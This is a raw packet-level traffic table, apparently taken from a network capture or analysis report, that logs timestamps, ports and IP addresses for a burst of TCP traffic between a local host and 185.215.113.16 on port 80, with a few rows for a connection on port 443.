Nov 7, 2024 06:01:18.118941069 CET	80	49834	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:18.118952036 CET	80	49834	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:18.118963003 CET	80	49834	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:18.118969917 CET	49834	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:18.118979931 CET	49834	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:18.118980885 CET	80	49834	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:18.118984938 CET	49834	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:18.118999004 CET	80	49834	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:18.119010925 CET	80	49834	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:18.119019985 CET	80	49834	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:18.119030952 CET	80	49834	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:18.119033098 CET	49834	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:18.119041920 CET	80	49834	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:18.119051933 CET	49834	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:18.119055033 CET	80	49834	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:18.119066954 CET	80	49834	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:18.119071007 CET	49834	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:18.119079113 CET	80	49834	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:18.119090080 CET	80	49834	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:18.119102001 CET	80	49834	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:18.119117022 CET	80	49834	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:18.119126081 CET	49834	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:18.119126081 CET	49834	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:18.119129896 CET	80	49834	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:18.119136095 CET	49834	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:18.119143009 CET	80	49834	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:18.119153976 CET	80	49834	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:18.119159937 CET	80	49834	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:18.119170904 CET	49834	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:18.119175911 CET	80	49834	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:18.119180918 CET	49834	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:18.119189024 CET	80	49834	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:18.119200945 CET	80	49834	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:18.119201899 CET	49834	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:18.119213104 CET	80	49834	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:18.119224072 CET	80	49834	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:18.119236946 CET	80	49834	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:18.119245052 CET	49834	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:18.119249105 CET	80	49834	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:18.119256973 CET	49834	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:18.119265079 CET	49834	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:18.119266987 CET	80	49834	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:18.119278908 CET	80	49834	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:18.119290113 CET	80	49834	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:18.119297028 CET	49834	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:18.119307041 CET	80	49834	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:18.119308949 CET	49834	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:18.119328976 CET	80	49834	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:18.119328976 CET	49834	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:18.119340897 CET	80	49834	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:18.119347095 CET	49834	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:18.119353056 CET	80	49834	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:18.119364977 CET	80	49834	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:18.119374037 CET	49834	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:18.119375944 CET	80	49834	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:18.119386911 CET	80	49834	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:18.119400024 CET	80	49834	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:18.119411945 CET	80	49834	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:18.119426012 CET	80	49834	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:18.119429111 CET	49834	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:18.119429111 CET	49834	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:18.119438887 CET	49834	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:18.119438887 CET	80	49834	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:18.119453907 CET	80	49834	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:18.119465113 CET	80	49834	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:18.119468927 CET	49834	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:18.119477034 CET	80	49834	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:18.119488001 CET	80	49834	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:18.119492054 CET	49834	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:18.119499922 CET	80	49834	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:18.119503975 CET	49834	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:18.119513035 CET	80	49834	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:18.119527102 CET	80	49834	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:18.119530916 CET	49834	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:18.119539976 CET	80	49834	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:18.119550943 CET	80	49834	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:18.119558096 CET	49834	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:18.119561911 CET	80	49834	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:18.119575024 CET	80	49834	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:18.119585037 CET	49834	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:18.119592905 CET	80	49834	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:18.119592905 CET	49834	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:18.119610071 CET	80	49834	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:18.119613886 CET	49834	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:18.119623899 CET	80	49834	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:18.119632959 CET	49834	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:18.119637012 CET	80	49834	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:18.119648933 CET	80	49834	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:18.119656086 CET	49834	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:18.119661093 CET	80	49834	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:18.119672060 CET	80	49834	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:18.119672060 CET	49834	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:18.119685888 CET	80	49834	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:18.119688988 CET	49834	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:18.119699955 CET	80	49834	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:18.119702101 CET	49834	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:18.119712114 CET	80	49834	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:18.119724989 CET	80	49834	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:18.119734049 CET	49834	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:18.119744062 CET	80	49834	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:18.119761944 CET	80	49834	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:18.119765043 CET	49834	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:18.119775057 CET	80	49834	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:18.119788885 CET	80	49834	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:18.119797945 CET	49834	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:18.119797945 CET	49834	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:18.119800091 CET	80	49834	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:18.119812012 CET	80	49834	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:18.119822979 CET	49834	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:18.119823933 CET	80	49834	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:18.119836092 CET	80	49834	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:18.119848013 CET	80	49834	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:18.119846106 CET	49834	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:18.119862080 CET	80	49834	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:18.119873047 CET	80	49834	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:18.119878054 CET	80	49834	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:18.119889021 CET	80	49834	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:18.119899988 CET	49834	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:18.119899988 CET	49834	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:18.119899988 CET	49834	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:18.119910002 CET	80	49834	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:18.119927883 CET	80	49834	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:18.119931936 CET	49834	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:18.119939089 CET	80	49834	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:18.119951010 CET	80	49834	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:18.119957924 CET	49834	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:18.119961977 CET	80	49834	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:18.119975090 CET	80	49834	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:18.119985104 CET	80	49834	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:18.119993925 CET	49834	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:18.119997025 CET	80	49834	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:18.120002985 CET	49834	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:18.120009899 CET	80	49834	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:18.120017052 CET	49834	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:18.120023012 CET	80	49834	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:18.120034933 CET	80	49834	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:18.120044947 CET	80	49834	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:18.120045900 CET	49834	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:18.120055914 CET	80	49834	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:18.120066881 CET	80	49834	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:18.120076895 CET	49834	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:18.120086908 CET	80	49834	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:18.120088100 CET	49834	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:18.120101929 CET	80	49834	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:18.120112896 CET	80	49834	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:18.120125055 CET	80	49834	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:18.120131016 CET	49834	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:18.120131016 CET	49834	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:18.120136976 CET	80	49834	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:18.120148897 CET	80	49834	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:18.120151997 CET	49834	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:18.120162010 CET	80	49834	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:18.120173931 CET	80	49834	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:18.120176077 CET	49834	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:18.120186090 CET	80	49834	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:18.120189905 CET	49834	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:18.120198965 CET	80	49834	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:18.120210886 CET	80	49834	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:18.120213032 CET	49834	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:18.120223045 CET	80	49834	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:18.120233059 CET	49834	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:18.120234966 CET	80	49834	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:18.120246887 CET	80	49834	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:18.120259047 CET	80	49834	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:18.120271921 CET	80	49834	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:18.120273113 CET	49834	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:18.120273113 CET	49834	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:18.120284081 CET	80	49834	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:18.120296955 CET	80	49834	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:18.120301008 CET	49834	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:18.120309114 CET	80	49834	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:18.120321035 CET	80	49834	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:18.120325089 CET	49834	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:18.120332956 CET	80	49834	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:18.120343924 CET	49834	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:18.120345116 CET	80	49834	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:18.120361090 CET	49834	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:18.120363951 CET	80	49834	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:18.120378971 CET	80	49834	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:18.120384932 CET	49834	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:18.120390892 CET	80	49834	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:18.120402098 CET	80	49834	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:18.120413065 CET	80	49834	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:18.120419025 CET	49834	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:18.120428085 CET	49834	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:18.120428085 CET	80	49834	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:18.120440960 CET	80	49834	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:18.120452881 CET	80	49834	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:18.120459080 CET	49834	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:18.120467901 CET	80	49834	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:18.120479107 CET	49834	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:18.120486021 CET	80	49834	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:18.120496988 CET	80	49834	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:18.120497942 CET	49834	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:18.120503902 CET	80	49834	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:18.120510101 CET	80	49834	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:18.120516062 CET	80	49834	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:18.120521069 CET	80	49834	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:18.120527029 CET	80	49834	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:18.120538950 CET	80	49834	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:18.120546103 CET	80	49834	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:18.120556116 CET	80	49834	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:18.120569944 CET	80	49834	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:18.120580912 CET	80	49834	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:18.120592117 CET	80	49834	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:18.120603085 CET	80	49834	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:18.120614052 CET	80	49834	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:18.120625019 CET	80	49834	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:18.120636940 CET	80	49834	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:18.120640039 CET	49834	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:18.120649099 CET	80	49834	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:18.120661020 CET	80	49834	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:18.120661974 CET	49834	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:18.120672941 CET	80	49834	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:18.120682001 CET	49834	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:18.120686054 CET	80	49834	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:18.120697975 CET	80	49834	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:18.120708942 CET	49834	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:18.120718956 CET	49834	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:18.120718956 CET	80	49834	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:18.120732069 CET	80	49834	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:18.120743036 CET	80	49834	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:18.120750904 CET	49834	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:18.120754957 CET	80	49834	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:18.120762110 CET	49834	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:18.120768070 CET	80	49834	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:18.120779991 CET	80	49834	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:18.120789051 CET	49834	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:18.120794058 CET	80	49834	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:18.120805979 CET	49834	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:18.120834112 CET	49834	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:18.123119116 CET	80	49834	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:18.123168945 CET	80	49834	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:18.123181105 CET	80	49834	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:18.123203993 CET	49843	443	192.168.2.4	13.107.246.45
Nov 7, 2024 06:01:18.123258114 CET	443	49843	13.107.246.45	192.168.2.4
Nov 7, 2024 06:01:18.123271942 CET	49834	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:18.123323917 CET	49843	443	192.168.2.4	13.107.246.45
Nov 7, 2024 06:01:18.124098063 CET	49843	443	192.168.2.4	13.107.246.45
Nov 7, 2024 06:01:18.124119043 CET	443	49843	13.107.246.45	192.168.2.4
Nov 7, 2024 06:01:18.125251055 CET	80	49834	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:18.125269890 CET	80	49834	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:18.125282049 CET	80	49834	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:18.125297070 CET	80	49834	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:18.125308990 CET	80	49834	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:18.125319958 CET	49834	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:18.125329971 CET	49834	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:18.125351906 CET	49834	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:18.125382900 CET	80	49834	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:18.125395060 CET	80	49834	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:18.125406981 CET	80	49834	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:18.125417948 CET	80	49834	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:18.125428915 CET	80	49834	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:18.125432968 CET	49834	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:18.125449896 CET	49834	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:18.125449896 CET	80	49834	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:18.125469923 CET	49834	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:18.125498056 CET	49834	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:18.125931025 CET	80	49834	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:18.125988960 CET	80	49834	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:18.125999928 CET	80	49834	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:18.126041889 CET	49834	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:18.126116991 CET	80	49834	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:18.126128912 CET	80	49834	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:18.126138926 CET	80	49834	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:18.126156092 CET	80	49834	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:18.126163006 CET	80	49834	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:18.126167059 CET	49834	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:18.126168013 CET	80	49834	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:18.126179934 CET	80	49834	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:18.126199007 CET	80	49834	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:18.126202106 CET	49834	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:18.126211882 CET	80	49834	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:18.126223087 CET	49834	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:18.126224995 CET	80	49834	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:18.126240015 CET	80	49834	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:18.126246929 CET	49834	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:18.126255035 CET	80	49834	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:18.126266956 CET	80	49834	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:18.126275063 CET	49834	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:18.126277924 CET	80	49834	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:18.126291990 CET	80	49834	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:18.126297951 CET	49834	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:18.126305103 CET	80	49834	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:18.126322031 CET	49834	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:18.126323938 CET	80	49834	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:18.126337051 CET	80	49834	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:18.126337051 CET	49834	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:18.126349926 CET	80	49834	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:18.126363039 CET	49834	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:18.126363039 CET	80	49834	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:18.126377106 CET	80	49834	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:18.126384974 CET	49834	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:18.126388073 CET	80	49834	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:18.126394987 CET	49834	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:18.126401901 CET	80	49834	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:18.126414061 CET	80	49834	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:18.126424074 CET	80	49834	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:18.126427889 CET	49834	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:18.126435995 CET	80	49834	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:18.126439095 CET	49834	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:18.126454115 CET	80	49834	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:18.126458883 CET	49834	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:18.126468897 CET	80	49834	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:18.126482010 CET	80	49834	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:18.126492023 CET	49834	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:18.126494884 CET	80	49834	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:18.126501083 CET	49834	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:18.126507998 CET	80	49834	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:18.126518965 CET	80	49834	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:18.126529932 CET	49834	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:18.126537085 CET	80	49834	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:18.126555920 CET	80	49834	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:18.126569033 CET	49834	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:18.126575947 CET	80	49834	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:18.126576900 CET	49834	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:18.126586914 CET	80	49834	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:18.126597881 CET	49834	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:18.126605988 CET	80	49834	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:18.126617908 CET	80	49834	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:18.126629114 CET	80	49834	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:18.126630068 CET	49834	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:18.126637936 CET	49834	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:18.126645088 CET	80	49834	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:18.126652956 CET	49834	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:18.126657963 CET	80	49834	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:18.126669884 CET	80	49834	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:18.126677036 CET	49834	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:18.126681089 CET	80	49834	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:18.126692057 CET	49834	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:18.126694918 CET	80	49834	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:18.126704931 CET	49834	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:18.126709938 CET	80	49834	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:18.126724958 CET	80	49834	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:18.126733065 CET	49834	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:18.126743078 CET	80	49834	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:18.126743078 CET	49834	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:18.126755953 CET	80	49834	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:18.126769066 CET	80	49834	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:18.126770020 CET	49834	80	192.168.2.4	185.215.113.16
